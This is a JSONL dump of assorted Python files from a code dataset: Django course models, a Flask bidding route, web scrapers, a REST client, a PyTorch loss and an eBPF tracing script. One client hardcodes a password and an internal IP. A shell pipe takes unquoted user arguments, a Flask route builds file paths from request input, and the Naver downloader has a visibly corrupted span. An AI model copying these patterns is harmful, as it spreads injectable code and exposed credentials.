100\nmax_samples = 30000\nn_realizations = 30000\n\nrealizations, extinction_times, expected_delta_t, expected_t_ix = produce_realizations(n_realizations=n_realizations,\n max_samples=max_samples,\n alpha=alpha, beta=beta, N=N)\n\nnp.save('R_2', realizations)\nnp.save('E_ts_2', extinction_times)\nnp.save('dt_2', expected_delta_t)\nnp.save('E_ix_2', expected_t_ix)\n\n'''\nT_ext = np.average(extinction_times)\nn_bins=10\nt_bins = (np.linspace(0,max(extinction_times), n_bins)).astype('int')\next_bins = np.histogram(extinction_times, bins=t_bins, normed=True)[0]\next_bins = savgol_filter(ext_bins, 11, 3)\n\nplt.plot(t_bins[0:n_bins-1], ext_bins, linewidth=3, color='b', label='Extinction density')\nplt.axvline(T_ext, linewidth=3, c='r', linestyle='--', label='T_ext')\nplt.xlabel('Time [unit time]', fontsize=15)\nplt.ylabel('Extinction density', fontsize=15)\nplt.title('Extinction probability vs. time', fontsize=17)\nplt.tight_layout(True)\n'''\n\n'''\nrho_t0, p_0, bins_0 = get_rho_n_t(realizations=realizations, t_ix=t_0, delta_ix=delta_ix, bins=bins_n)\nrho_t1, p_1, bins_1 = get_rho_n_t(realizations=realizations, t_ix=t_1, delta_ix=delta_ix, bins=bins_n)\nrho_t2, p_2, bins_2 = get_rho_n_t(realizations=realizations, t_ix=t_2, delta_ix=delta_ix, bins=bins_n)\nrho_t3, p_3, bins_3 = get_rho_n_t(realizations=realizations, t_ix=t_3, delta_ix=delta_ix, bins=bins_n)\n\nbins = bins_1\n\nplt.figure()\nplt.plot(bins,-np.log(rho_t0), c='m', label='$t_0$', linewidth=3)\nplt.plot(bins,-np.log(rho_t1), c='r', label='$t_1$', linewidth=3)\nplt.plot(bins,-np.log(rho_t2), c='g', label='$t_2$', linewidth=3)\nplt.plot(bins,-np.log(rho_t3), c='b', label='$t_3$', linewidth=3)\nplt.plot(bins,-np.log(p_0), c='m', label='$t_0$', linewidth=2, linestyle=':')\nplt.plot(bins,-np.log(p_1), c='r', label='$t_1$', linewidth=2, linestyle=':')\nplt.plot(bins,-np.log(p_2), c='g', label='$t_2$', linewidth=2, linestyle=':')\nplt.plot(bins,-np.log(p_3), c='b', label='$t_3$', linewidth=2, linestyle=':')\nplt.xlabel('n infected', fontsize=15)\nplt.ylabel('$-log(\\\\rho_n(t))$', fontsize=15)\nplt.title('Logarithmic density for different t', fontsize=17)\nplt.legend()\nplt.tight_layout(True)\n\nplt.figure()\nplt.plot(bins,rho_t0, c='m', label='$t_0$', linewidth=2)\nplt.plot(bins,rho_t1, c='r', label='$t_1$', linewidth=2)\nplt.plot(bins,rho_t2, c='g', label='$t_2$', linewidth=2)\nplt.plot(bins,rho_t3, c='b', label='$t_3$', linewidth=2)\nplt.plot(bins,p_0, c='m', label='$t_0$', linewidth=2, linestyle=':')\nplt.plot(bins,p_1, c='r', label='$t_1$', linewidth=2, linestyle=':')\nplt.plot(bins,p_2, c='g', label='$t_2$', linewidth=2, linestyle=':')\nplt.plot(bins,p_3, c='b', label='$t_3$', linewidth=2, linestyle=':')\nplt.xlabel('n infected', fontsize=15)\nplt.ylabel('$\\\\rho_n(t)$', fontsize=15)\nplt.title('Density for different t', fontsize=17)\nplt.tight_layout(True)\n\nplt.figure()\nplt.plot(bins,np.cumsum(rho_t0), c='m', label='$t_0$', linewidth=2)\nplt.plot(bins,np.cumsum(rho_t1), c='r', label='$t_1$', linewidth=2)\nplt.plot(bins,np.cumsum(rho_t2), c='g', label='$t_2$', linewidth=2)\nplt.plot(bins,np.cumsum(rho_t3), c='b', label='$t_3$', linewidth=2)\nplt.plot(bins,np.cumsum(p_0), c='m', label='$t_0$', linewidth=2, linestyle=':')\nplt.plot(bins,np.cumsum(p_1), c='r', label='$t_1$', linewidth=2, linestyle=':')\nplt.plot(bins,np.cumsum(p_2), c='g', label='$t_2$', linewidth=2, linestyle=':')\nplt.plot(bins,np.cumsum(p_3), c='b', label='$t_3$', linewidth=2, linestyle=':')\nplt.xlabel('n infected', fontsize=15)\nplt.ylabel('$Cumulative density$', fontsize=15)\nplt.title('Cumulative density for different t', fontsize=17)\nplt.tight_layout(True)\n\nplt.legend()\nplt.show()\nprint()\n'''\n\n\n","sub_path":"2_d_updated.py","file_name":"2_d_updated.py","file_ext":"py","file_size_in_byte":5354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"322363832","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom models import Pages\n\n# Create your views here.\ndef list (request, identification):\n\ttry:\n\t\tpage=Pages.objects.get(id=identification)\n\t\tresponse=page.page\n\texcept:\n\t\tresponse=\"Page: \" + str(identification) + \" is not saved \\n\"\n\n\treturn HttpResponse(response)\n","sub_path":"cms/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"134901637","text":"from sklearn.preprocessing import LabelEncoder\r\ndef encode_marks(marks):\r\n\r\n encoder = LabelEncoder()\r\n encoded = encoder.fit_transform(marks)\r\n oh = np.zeros((len(marks), len(encoder.classes_)))\r\n\r\n oh[np.arange(len(marks)), encoded] = 1\r\n\r\n return oh, encoder.classes_","sub_path":"Lin Zhe Ching's Thesis/code/utils/encode_marks.py","file_name":"encode_marks.py","file_ext":"py","file_size_in_byte":285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"312302578","text":"import flask\nimport json\nfrom .dealer import *\n\ncommonPages = flask.Blueprint('commonPages', __name__, template_folder='../templates')\n\n@commonPages.route(\"/bid\", methods=['POST', 'GET'])\ndef bid():\n if flask.request.method == 'GET':\n game = Game(\"None\", \"None\")\n flask.session['hash'] = flask.request.args['hash']\n with open('./hands/' + str(flask.request.args['hash']) + '.json', 'r') as f:\n game.fromJson(json.load(f))\n player = flask.request.args['player']\n flask.session['player'] = player\n hand = None\n l = len(game.bids)\n if ((l > 1 and game.bids[0] != '-') or l > 2) and game.bids[l - 1] == \"P\":\n hand = game.pn.display() + game.ps.display() + ['Vul: ' + game.vul, 'Dealer: ' + game.dealer]\n elif player == 'south':\n hand = game.ps.display() + ['Vul: ' + game.vul, 'Dealer: ' + game.dealer]\n else:\n hand = game.pn.display() + ['Vul: ' + game.vul, 'Dealer: ' + game.dealer]\n return flask.render_template(\"bid.html\", game=game, player=player, hand=hand, bids=game.bids)\n if flask.request.method == 'POST':\n hash = flask.session['hash']\n bid = flask.request.form.get('thisbid')\n player = flask.session['player']\n game = Game(\"None\", \"None\")\n with open('./hands/' + str(hash) + '.json', 'r') as f:\n game.fromJson(json.load(f))\n with open('./hands.json', 'r') as f:\n handlist = json.load(f)\n for hand in handlist:\n print(hand['hash'], hash)\n if str(hand['hash']) == str(hash):\n print(\"found!!\")\n if str(bid) == \"P\" and ((len(game.bids) > 0 and game.bids[0] != '-') or len(game.bids) > 1):\n hand['status'] = \"closed\"\n elif player == \"north\":\n hand['status'] = \"south\"\n else:\n hand['status'] = \"north\"\n with open('./hands.json', 'w') as f:\n json.dump(handlist, f)\n game.bids.append(bid)\n with open('./hands/' + str(hash) + '.json', 'w') as f:\n json.dump(game.toJson(), f)\n if player == 'south':\n return flask.redirect(flask.url_for(\"southPages.index\"))\n if player == 'north':\n return flask.redirect(flask.url_for(\"northPages.index\"))\n","sub_path":"bid/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":2351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"394612726","text":"# GMF [File Downloader] for NAVER Blog\n\nimport re\nimport sys\nimport json\nfrom http import client\nfrom urllib import request\n\n\ndef print_logo():\n print(\"#------------------------------------------#\")\n print(\"# [GMF] Give Me a File!! [File Downloader] #\")\n print(\"#------------------------------------------#\")\n print(\"# for NAVER Blog\\n\")\n\n\ndef get_url_source(url):\n try:\n while url.find(\"PostView.naver\") == -1 and url.find(\"PostList.naver\") == -1:\n f = request.urlopen(url)\n url_info = f.info()\n url_charset = client.HTTPMessage.get_charsets(url_info)[0]\n url_source = f.read().decode(url_charset)\n\n # find 'NBlogWlwLayout.nhn'\n if url_source.find(\"NBlogWlwLayout.naver\") == -1:\n print(\"\\n[-] It is not a NAVER Blog\")\n sys.exit(0)\n\n # get frame src\n p_frame = re.compile(r\"\\s*.*? Last URL : %s\\n\" % last_url)\n f = request.urlopen(last_url)\n url_info = f.info()\n url_charset = client.HTTPMessage.get_charsets(url_info)[0]\n url_source = f.read().decode(url_charset)\n\n return url_source\n\n except Exception as e:\n print(\"[-] Error : %s\" % e)\n sys.exit(-1)\n\n\ndef main():\n print_logo()\n\n if len(sys.argv) != 2:\n print(\"[*] Usage : gmf_nb.py [NAVER Blog URL]\")\n else:\n url = sys.argv[1]\n print(\"[*] Target URL : %s\" % url)\n url_source = get_url_source(url)\n\n # find 't.static.blog.naver.net'\n if url_source.find(\"t.static.blog/mylog\") == -1:\n print(\"\\n[-] It is not a NAVER Blog\")\n sys.exit(0)\n\n try:\n # find 'aPostFiles'\n #p_attached_file = re.compile(r\"\\s*.*aPostFiles\\[1\\] = \\[(.*?)\\]\", re.IGNORECASE | re.DOTALL)\n p_attached_file = re.compile(r\"\\s*.*aPostFiles\\[1\\] = JSON.parse\\(\\'\\[(.*?)\\]\", re.IGNORECASE | re.DOTALL)\n result = p_attached_file.match(url_source).group(1)\n if result:\n # convert to JSON style\n data = \"[\" + result.replace('\\\\\\'', '\\\"') + \"]\"\n json_data = json.loads(data)\n\n for each_file in json_data: \t\n print(\"* File : %s, Size : %s Bytes\" % (each_file[\"encodedAttachFileName\"], each_file[\"attachFileSize\"]))\n print(\" Link : %s\" % each_file[\"encodedAttachFileUrl\"])\n # File Download\n request.urlretrieve(each_file[\"encodedAttachFileUrl\"], each_file[\"encodedAttachFileName\"])\n print(\" => Done!!\\n\")\n else:\n print(\"[-] Attached File not found !!\")\n\n except Exception as e:\n print(\"[-] Error : %s\" % e)\n sys.exit(-1)\n\nif __name__ == \"__main__\":\n sys.exit(main())\n","sub_path":"gmf_nb.py","file_name":"gmf_nb.py","file_ext":"py","file_size_in_byte":3262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"246773230","text":"# coding=utf-8\nimport requests\nimport json\nimport time\nfrom datetime import datetime\nimport socket\n\n\"\"\"\n混合部署:service_tag: datasmart\n独立部署:service_tag: hge\n\"\"\"\n\n\nclass HgeClient:\n def __init__(self, cloudos_vip, username, password, keystone_port=5000, service_tag=\"datasmart\"):\n self.__service_tag = service_tag\n self.__service_url_dict = {\n \"datasmart\": {\n \"hge-graphdb\": \"os-dsmart-hge-graphdb-svc.cloudos-datasmart:8980\",\n \"hge-scheduler\": \"os-dsmart-hge-scheduler-svc.cloudos-datasmart:8983\",\n \"hge-graph-loader\": \"os-dsmart-hge-graph-loader-svc.cloudos-datasmart:8982\",\n \"hge-graph-query\": \"os-dsmart-hge-graph-query-svc.cloudos-datasmart:8984\",\n \"hge-graph-analysis\": \"os-dsmart-hge-graph-analysis-svc.cloudos-datasmart:8981\"\n },\n \"hge\": {\n \"hge-graphdb\": \"os-hge-graphdb-svc.cloudos-hge:8980\",\n \"hge-scheduler\": \"os-hge-scheduler-svc.cloudos-hge:8983\",\n \"hge-graph-loader\": \"os-hge-graph-loader-svc.cloudos-hge:8982\",\n \"hge-graph-query\": \"os-hge-graph-query-svc.cloudos-hge:8984\",\n \"hge-graph-analysis\": \"os-hge-graph-analysis-svc.cloudos-hge:8981\"\n }\n }\n self.__host = cloudos_vip\n self.__port = keystone_port\n self.__username = username\n self.__password = password\n self.__local_cluster_mode = self.__get_client_mode() # 是否当前集群中部署\n self.__headers = self.__get_headers()\n\n def __get_client_mode(self):\n \"\"\"\n 获取client模式\n 1. 当调用API的程序运行在和hge相同集群时,直接通过服务名连接\n 2. 当调用API的程序不运行在相同集群时,通过kong连接\n \"\"\"\n graphdb_pod_name = self.__service_url_dict.get(self.__service_tag).get(\"hge-graphdb\").split(\":\")[0]\n try:\n socket.getaddrinfo(graphdb_pod_name, \"http\")\n print(\"========= use local cluster mode =========\")\n return True\n except:\n print(\"========= use external mode =========\")\n return False\n\n def __get_headers(self):\n \"\"\"\n 获取headers\n 1. 通过服务名进行连接时,需要设置userinfo\n 2. 通过kong连接时,不用设置userinfo\n \"\"\"\n headers = {\n \"content-type\": \"application/json\"\n }\n\n body = {\n \"auth\": {\n \"identity\": {\n \"methods\": [\n \"password\"\n ],\n \"password\": {\n \"user\": {\n \"name\": self.__username,\n \"domain\": {\n \"name\": \"Default\"\n },\n \"password\": self.__password\n }\n }\n }\n }\n }\n\n url = \"http://{host}:{port}/v3/auth/tokens\".format(\n host=self.__host, port=self.__port)\n token_select = requests.post(url, json=body, headers=headers)\n token_select_dict = token_select.json()\n\n token = token_select.headers.get(\"X-Subject-Token\", \"\")\n hge_headers = {\"X-Auth-Token\": token}\n if self.__local_cluster_mode:\n user_id = token_select_dict.get(\n \"token\", {}).get(\"user\", {}).get(\"id\", \"\")\n user_name = token_select_dict.get(\n \"token\", {}).get(\"user\", {}).get(\"name\", \"\")\n role_list = token_select_dict.get(\"token\", {}).get(\"roles\", [])\n role_name = role_list[0].get(\"name\", \"\") if len(role_list) > 0 else \"\"\n project_id = token_select_dict.get(\n \"token\", {}).get(\"project\", {}).get(\"id\", \"\")\n project_name = token_select_dict.get(\n \"token\", {}).get(\"project\", {}).get(\"name\", \"\")\n userinfo = [{\n \"userId\": user_id,\n \"projectId\": project_id,\n \"roleName\": role_name,\n \"userName\": user_name,\n \"roleId\": user_id,\n \"projectName\": project_name}]\n\n hge_headers[\"userinfo\"] = json.dumps(userinfo)\n print(hge_headers)\n return hge_headers\n\n def __get(self, url, params={}):\n return requests.get(url, params=params, headers=self.__headers)\n\n def __post(self, url, body={}, params={}):\n return requests.post(url, json=body, params=params, headers=self.__headers)\n\n def __get_url(self, service_name, uri):\n if self.__local_cluster_mode:\n return \"http://{host}/{uri}\".format(\n host=self.__service_url_dict.get(self.__service_tag, {}).get(service_name), uri=uri.lstrip(\"/\"))\n else:\n return \"http://{vip}:11000/{tag}/v1.0/{service}/{uri}\".format(vip=self.__host, tag=self.__service_tag,\n service=service_name, uri=uri.lstrip(\"/\"))\n\n def __authorized(self, response):\n return int(response.status_code) != 401\n\n def get(self, service_name, uri, params={}):\n url = self.__get_url(service_name, uri)\n response = self.__get(url, params)\n if self.__authorized(response):\n return response\n else:\n self.__headers = self.__get_headers()\n return self.__get(url, params)\n\n def post(self, service_name, uri, body={}, params={}):\n url = self.__get_url(service_name, uri)\n response = self.__post(url, body, params)\n if self.__authorized(response):\n return response\n else:\n self.__headers = self.__get_headers()\n return self.__post(url, body, params)\n\n\nif __name__ == '__main__':\n cmd = \"g.V().has('name','{0}').label()\".format(\"iFeatureV7B70\")\n dict={\"gremlin\":cmd}\n rest_client = HgeClient(\"10.165.8.92\", \"dc_dev\", \"1qazxsw@\")\n r=rest_client.get(\"hge-graphdb\", \"/api/graphs/dc_idms/gremlin?gremlin=\"+cmd+\"\")\n print(r.text)\n","sub_path":"03-idms智能搜索/idms_v2_2/test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":6147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"246731196","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nclass DFPLoss(nn.Module):\n def __init__(self, alpha=1, beta=1):\n super(DFPLoss, self).__init__()\n self.alpha = alpha\n self.beta = beta\n self.ce = nn.CrossEntropyLoss()\n\n def forward(self, net_out, labels):\n logits = net_out[\"logits\"]\n loss_classify = self.ce(logits, labels)\n\n dist_fea2cen = net_out[\"dist_fea2cen\"]\n\n batch_size, num_classes = dist_fea2cen.shape\n classes = torch.arange(num_classes, device=labels.device).long()\n labels = labels.unsqueeze(1).expand(batch_size, num_classes)\n mask = labels.eq(classes.expand(batch_size, num_classes))\n dist_within = (dist_fea2cen * mask.float()).sum(dim=1, keepdim=True)\n\n dist_between = F.relu(dist_within - dist_fea2cen, inplace=True) # ensure within_distance greater others\n dist_between = dist_between.sum(dim=1, keepdim=False)\n dist_between = dist_between / (num_classes - 1.0)\n\n loss_within = self.alpha * (dist_within.sum()) / batch_size\n loss_between = self.beta * (dist_between.sum()) / batch_size\n\n loss = loss_classify + loss_within + loss_between\n\n return {\n \"total\": loss,\n \"classify\": loss_classify,\n \"within\": loss_within,\n \"between\": loss_between,\n }\n\n\ndef demo():\n n = 3\n c = 5\n dist_fea2cen = torch.rand([n, c])\n logits = torch.rand([n, c])\n label = torch.empty(3, dtype=torch.long).random_(5)\n print(label)\n loss = DFPLoss(1., 1.)\n netout = {\n \"dist_fea2cen\": dist_fea2cen,\n \"logits\": logits\n }\n dist_loss = loss(netout, label)\n print(dist_loss['total'])\n print(dist_loss['classify'])\n print(dist_loss['within'])\n print(dist_loss['between'])\n\n\n\n# demo()\n","sub_path":"OSR/DFP_v5/DFPLoss.py","file_name":"DFPLoss.py","file_ext":"py","file_size_in_byte":1838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"623030430","text":"import sys\nimport pipes\n\ninput_file = sys.argv[1]\noutput_file = sys.argv[2]\ndirectory = sys.argv[3]\npair = sys.argv[4]\n\npipe = pipes.Template()\npipe.append('apertium -d ' + directory + ' ' + pair, '--')\npipe.copy(input_file, output_file)","sub_path":"scripts/translate_file.py","file_name":"translate_file.py","file_ext":"py","file_size_in_byte":237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"629578320","text":"import requests\nimport pandas as pd \nfrom bs4 import BeautifulSoup\nfrom urllib.error import HTTPError\nimport time \nimport datetime\n\n#set amount of page to scrap, edit number before +1 sign\npage_key = [*range(1, 3+1, 1)]\nprint(page_key)\n\ndef download_dataset():\n\n #create list for each variable\n date = []\n area = []\n title = []\n type = []\n bedroom = []\n size = []\n price = []\n\n for x in page_key:\n key = x\n link = \"https://www.mudah.my/list?category=2020&fs=1&lst=0&o={}&so=1&st=s&w=108\".format(x)\n \n print(\"Processing page \" + str(key))\n #error exception handling, skip page with no data\n try:\n response = requests.get(link)\n if response.status_code == 404:\n continue\n except:\n pass\n\n #get each page data\n page = requests.get(link)\n #set program to wait for page to load completely\n time.sleep(30)\n soup = BeautifulSoup(page.text, 'html.parser')\n\n #get number of rows\n contentTable = soup.find('div', { \"class\" : \"sc-gZMcBi eNtCZJ\"})\n rows = contentTable.find_all('div', { \"class\" : \"sc-gxMtzJ daQtBi\"})\n number_of_rows = len(rows)\n\n #set row range to max data in a page\n row_key = [*range(1, number_of_rows, 1)]\n\n #loop to get each row data\n for y in row_key:\n date1 = contentTable.find_all('span', { \"class\" : \"sc-cmTdod kJycFC\"})\n date2 = date1[y].get_text()\n date.append(date2)\n\n area1 = contentTable.find_all('span', { \"class\" : \"sc-btzYZH cExPek\"})\n area2 = area1[y].get_text()\n area.append(area2)\n\n title1 = contentTable.find_all('a', { \"class\" : \"sc-kIPQKe cQMfNT\"})\n title2 = title1[y].get_text()\n title.append(title2)\n\n type1 = contentTable.find_all('div', { \"title\" : \"Category\"})\n type2 = type1[y].get_text()\n type.append(type2)\n\n bedroom1 = contentTable.find_all('div', { \"class\" : \"sc-eTuwsz fcPuPg\"})\n bedroom2 = bedroom1[y].get_text()\n bedroom.append(bedroom2)\n\n size1 = contentTable.find_all('div', { \"title\" : \"Size\"})\n size2 = size1[y].get_text()\n size.append(size2)\n\n price1 = contentTable.find_all('div', { \"class\" : \"sc-RefOD fjuYGU\"})\n price2 = price1[y].get_text()\n price.append(price2)\n\n mudah_data = pd.DataFrame({\n\n \"Date\" : date,\n \"Area\" : area,\n \"Title\" : title,\n \"Type\" : type,\n \"Bedroom\" : bedroom,\n \"Size\" : size,\n \"Price\" : price\n })\n return mudah_data\n\ndef cleaning_data(mudah_data):\n #set date to standardized date\n current_date = datetime.datetime.today().strftime ('%d-%b-%Y')\n mudah_data[\"Date\"] = mudah_data[\"Date\"].replace('Today', current_date, regex=True)\n print(mudah_data)\n #output to csv\n mudah_data.to_csv(r'mudah_output.csv', encoding='utf-8-sig', index=False)\n\n\n#Run script\ndef main():\n\n print(\"Takes around 2 minutes to let website to load properly for scraping\")\n mudah_data = download_dataset()\n cleaning_data(mudah_data)\n print(\"Finished\")\n\nif __name__ == \"__main__\":\n main()","sub_path":"mudah.py","file_name":"mudah.py","file_ext":"py","file_size_in_byte":3337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"70344169","text":"from run import run\nfrom config import get_cfg_defaults\nfrom argparse import ArgumentParser\n\nimport torch.backends.cudnn as cudnn\n# Enable auto-tuner to find the best algorithm to use for your hardware.\ncudnn.benchmark = True\n\n\nif __name__ == \"__main__\":\n parser = ArgumentParser()\n parser.add_argument('-m', \"--mode\", type=str, default='train', choices=['train', 'infer', 'eval'], help='Model for training or inferencing')\n parser.add_argument('-c', \"--config\", type=str, default='Experiment.yaml', help='config file for experiment')\n args = parser.parse_args()\n\n cfg = get_cfg_defaults()\n cfg.merge_from_file(args.config)\n cfg.freeze()\n run(args.mode, cfg)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"440951777","text":"#!/usr/bin/python\n#\n# vfsreadlat.py\t\tVFS read latency distribution.\n#\t\t\tFor Linux, uses BCC, eBPF. See .c file.\n#\n# Written as a basic example of a function latency distribution histogram.\n#\n# USAGE: vfsreadlat.py [interval [count]]\n#\n# The default interval is 5 seconds. A Ctrl-C will print the partially\n# gathered histogram then exit.\n#\n# Copyright (c) 2015 Brendan Gregg.\n# Licensed under the Apache License, Version 2.0 (the \"License\")\n#\n# 15-Aug-2015\tBrendan Gregg\tCreated this.\n\nfrom __future__ import print_function\nfrom bcc import BPF\nfrom ctypes import c_ushort, c_int, c_ulonglong\nfrom time import sleep\nfrom sys import argv\nfrom tools import wait_until_kill\n\n# arguments\ninterval = 5\ncount = -1\n\nbpf_text = \"\"\"\n#include \n\nBPF_HASH(start, u32);\nBPF_HISTOGRAM(dist);\n\nint do_entry(struct pt_regs *ctx)\n{\n\tu32 pid;\n\tu64 ts, *val;\n\n\tpid = bpf_get_current_pid_tgid();\n\tts = bpf_ktime_get_ns();\n\tstart.update(&pid, &ts);\n\treturn 0;\n}\n\nint do_return(struct pt_regs *ctx)\n{\n\tu32 pid;\n\tu64 *tsp, delta;\n\n\tpid = bpf_get_current_pid_tgid();\n\ttsp = start.lookup(&pid);\n\n\tif (tsp != 0) {\n\t\tdelta = bpf_ktime_get_ns() - *tsp;\n\t\tdist.increment(bpf_log2l(delta / 1000));\n\t\tstart.delete(&pid);\n\t}\n\n\treturn 0;\n}\n\"\"\"\n\n# load BPF program\nb = BPF(text = bpf_text)\nb.attach_kprobe(event=\"sock_recvmsg\", fn_name=\"do_entry\")\nb.attach_kretprobe(event=\"sock_recvmsg\", fn_name=\"do_return\")\n\nprint(\"Start listening to Sock Recvmsg\")\n# output\n\nf = open(argv[1], \"w\")\ndef output():\n f.write(\" \".join([ str(int(i.value)) for i in b[\"dist\"].values() ]))\n print([ int(i.value) for i in b[\"dist\"].values() ])\n #b[\"dist\"].print_log2_hist(\"usecs\")\n #b[\"dist\"].clear()\n\nwait_until_kill(output)\n\n","sub_path":"bpf/recvlat.py","file_name":"recvlat.py","file_ext":"py","file_size_in_byte":1703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"598447589","text":"from django.db import models\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.models import PermissionsMixin\n\nfrom django.contrib.auth.models import AbstractUser, PermissionsMixin, BaseUserManager\n# Create your models here.\nfrom django.db.models.signals import post_save\nfrom django.dispatch import receiver\nfrom rest_framework.authtoken.models import Token\nfrom django.conf import settings\n\nfrom django.db import models\nfrom django.contrib.auth.models import AbstractUser\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.conf import settings\nfrom fcm_django.models import FCMDevice\n\n\n\nclass User(AbstractUser):\n username = models.CharField(blank=True, null=True, max_length=10)\n email = models.EmailField(_('email address'), unique=True)\n rol = models.CharField(blank=True, null=True, max_length=20)\n USERNAME_FIELD = 'email'\n REQUIRED_FIELDS = ['username']\n\n def __str__(self):\n return \"{}\".format(self.email)\n\nclass Pago(models.Model):\n tipo_pago = models.CharField(max_length=50)\n\n\nclass Estudiante(models.Model):\n user = models.OneToOneField(settings.AUTH_USER_MODEL,\n on_delete=models.CASCADE, related_name='profile')\n nombres = models.CharField(blank=True, null=True, max_length=50)\n apellidos = models.CharField(blank=True, null=True, max_length=50)\n cedula = models.CharField(max_length=10,primary_key=True,unique=True)\n fecha_nacimiento = models.DateField(blank=True, null=True)\n direccion = models.CharField(blank=True, null=True, max_length=255)\n telefono = models.CharField(blank=True, null=True, max_length=10)\n escolaridad = models.CharField(blank=True, null=True, max_length=50)\n pais = models.CharField(blank=True, null=True, max_length=50)\n ciudad = models.CharField(blank=True, null=True, max_length=50)\n sexo = models.CharField(blank=True, null=True, max_length=10)\n grupo_excluido = models.CharField(blank=True, null=True, max_length=50)\n estado = models.BooleanField(default=True,blank=True, null=True)\n\n def __str__(self):\n return self.nombres\n \n def to_json(self):\n return {\n 'id': self.cedula,\n 'name': self.nombres,\n 'apellidos': self.apellidos,\n \n }\n\nclass Profesor(models.Model):\n user = models.OneToOneField(settings.AUTH_USER_MODEL,\n on_delete=models.CASCADE, related_name='Profesor')\n nombres = models.CharField(blank=True, null=True, max_length=50)\n apellidos = models.CharField(blank=True, null=True, max_length=50)\n cedula = models.CharField(max_length=10,primary_key=True,unique=True)\n fecha_nacimiento = models.DateField(blank=True, null=True)\n direccion = models.CharField(blank=True, null=True, max_length=255)\n telefono = models.CharField(blank=True, null=True, max_length=10)\n escolaridad = models.CharField(blank=True, null=True, max_length=50)\n pais = models.CharField(blank=True, null=True, max_length=50)\n ciudad = models.CharField(blank=True, null=True, max_length=50)\n sexo = models.CharField(blank=True, null=True, max_length=10)\n estado = models.BooleanField(default=True,blank=True, null=True)\n\n def __str__(self):\n return self.nombres + \" \" + self.apellidos\n\n\nclass Supervisor(models.Model):\n user = models.OneToOneField(settings.AUTH_USER_MODEL,\n on_delete=models.CASCADE, related_name='Supervisor')\n nombres = models.CharField(blank=True, null=True, max_length=50)\n apellidos = models.CharField(blank=True, null=True, max_length=50)\n cedula = models.CharField(max_length=10,primary_key=True,unique=True)\n fecha_nacimiento = models.DateField(blank=True, null=True)\n direccion = models.CharField(blank=True, null=True, max_length=255)\n telefono = models.CharField(blank=True, null=True, max_length=10)\n escolaridad = models.CharField(blank=True, null=True, max_length=50)\n pais = models.CharField(blank=True, null=True, max_length=50)\n ciudad = models.CharField(blank=True, null=True, max_length=50)\n sexo = models.CharField(blank=True, null=True, max_length=10)\n estado = models.BooleanField(default=True,blank=True, null=True)\n\n def __str__(self):\n return self.nombres + \" \" + self.apellidos\n\n\nclass Curso(models.Model):\n imagen = models.ImageField(upload_to='pic_folder/', height_field=None, width_field=None, max_length=None)\n descripcion = models.CharField(max_length=50)\n titulo_curso = models.CharField(max_length=50)\n num_sesiones = models.IntegerField()\n precio = models.FloatField()\n id_supervisor = models.ForeignKey(Supervisor, on_delete=models.CASCADE)\n\n def __str__(self):\n\n return self.titulo_curso\n\nclass Promociones(models.Model):\n cod_descuento = models.CharField(max_length=20)\n porc_descuento = models.FloatField()\n descripcion = models.CharField(max_length=50)\n fecha_vencimiento = models.DateField(auto_now=False, auto_now_add=False)\n imagen = models.ImageField(upload_to='pic_promo/', height_field=None, width_field=None, max_length=None)\n id_curso = models.ForeignKey(Curso, on_delete=models.CASCADE)\n id_supervisor = models.ForeignKey(Supervisor, on_delete=models.CASCADE)\n\nclass Inscripcion(models.Model):\n id_estudiante = models.ForeignKey(Estudiante, on_delete=models.CASCADE)\n id_curso = models.ForeignKey(Curso, on_delete=models.CASCADE)\n\nclass Clase(models.Model):\n\n id_profesor = models.ForeignKey(Profesor, on_delete=models.CASCADE)\n titulo = models.CharField(max_length=30)\n id_estudiante = models.ManyToManyField(Estudiante)\n id_curso = models.ForeignKey(Curso, on_delete=models.CASCADE)\n id_supervisor = models.ForeignKey(Supervisor, on_delete=models.CASCADE)\n\n def __str__(self):\n\n return self.titulo\n\n\nclass Compra(models.Model):\n id_pago = models.ForeignKey(Pago, on_delete=models.CASCADE)\n id_estudiante = models.ForeignKey(Estudiante, on_delete=models.CASCADE)\n id_curso = models.ForeignKey(Curso, on_delete=models.CASCADE)\n\n\nclass Sesion(models.Model):\n\n titulo = models.CharField(max_length=50)\n descripcion = models.CharField(max_length=50)\n id_clase = models.ForeignKey(Clase, on_delete=models.CASCADE)\n descripcion = models.CharField(max_length=50)\n\n def __str__(self):\n\n return self.titulo\n\n\nclass Asistencia(models.Model):\n id_sesion = models.ForeignKey(Sesion,on_delete=models.CASCADE)\n id_estudiante = models.ForeignKey(Estudiante,on_delete=models.CASCADE)\n asistencia = models.BooleanField()\n asistido = models.BooleanField(default=False,blank=True, null=True)\n\n\nclass Tarea(models.Model):\n \"\"\"Modelo Tarea\"\"\"\n estado = models.BooleanField(default=True)\n nombre_tarea = models.CharField(max_length=30)\n descripcion_tarea = models.CharField(max_length=50)\n fecha_creacion = models.DateField(blank=True, null=True)\n fecha_entrega = models.DateField(blank=True, null=True)\n url = models.CharField(max_length=200,blank=True, null=True)\n id_sesion = models.ForeignKey(Sesion, null=False, blank=False, on_delete=models.CASCADE)\n 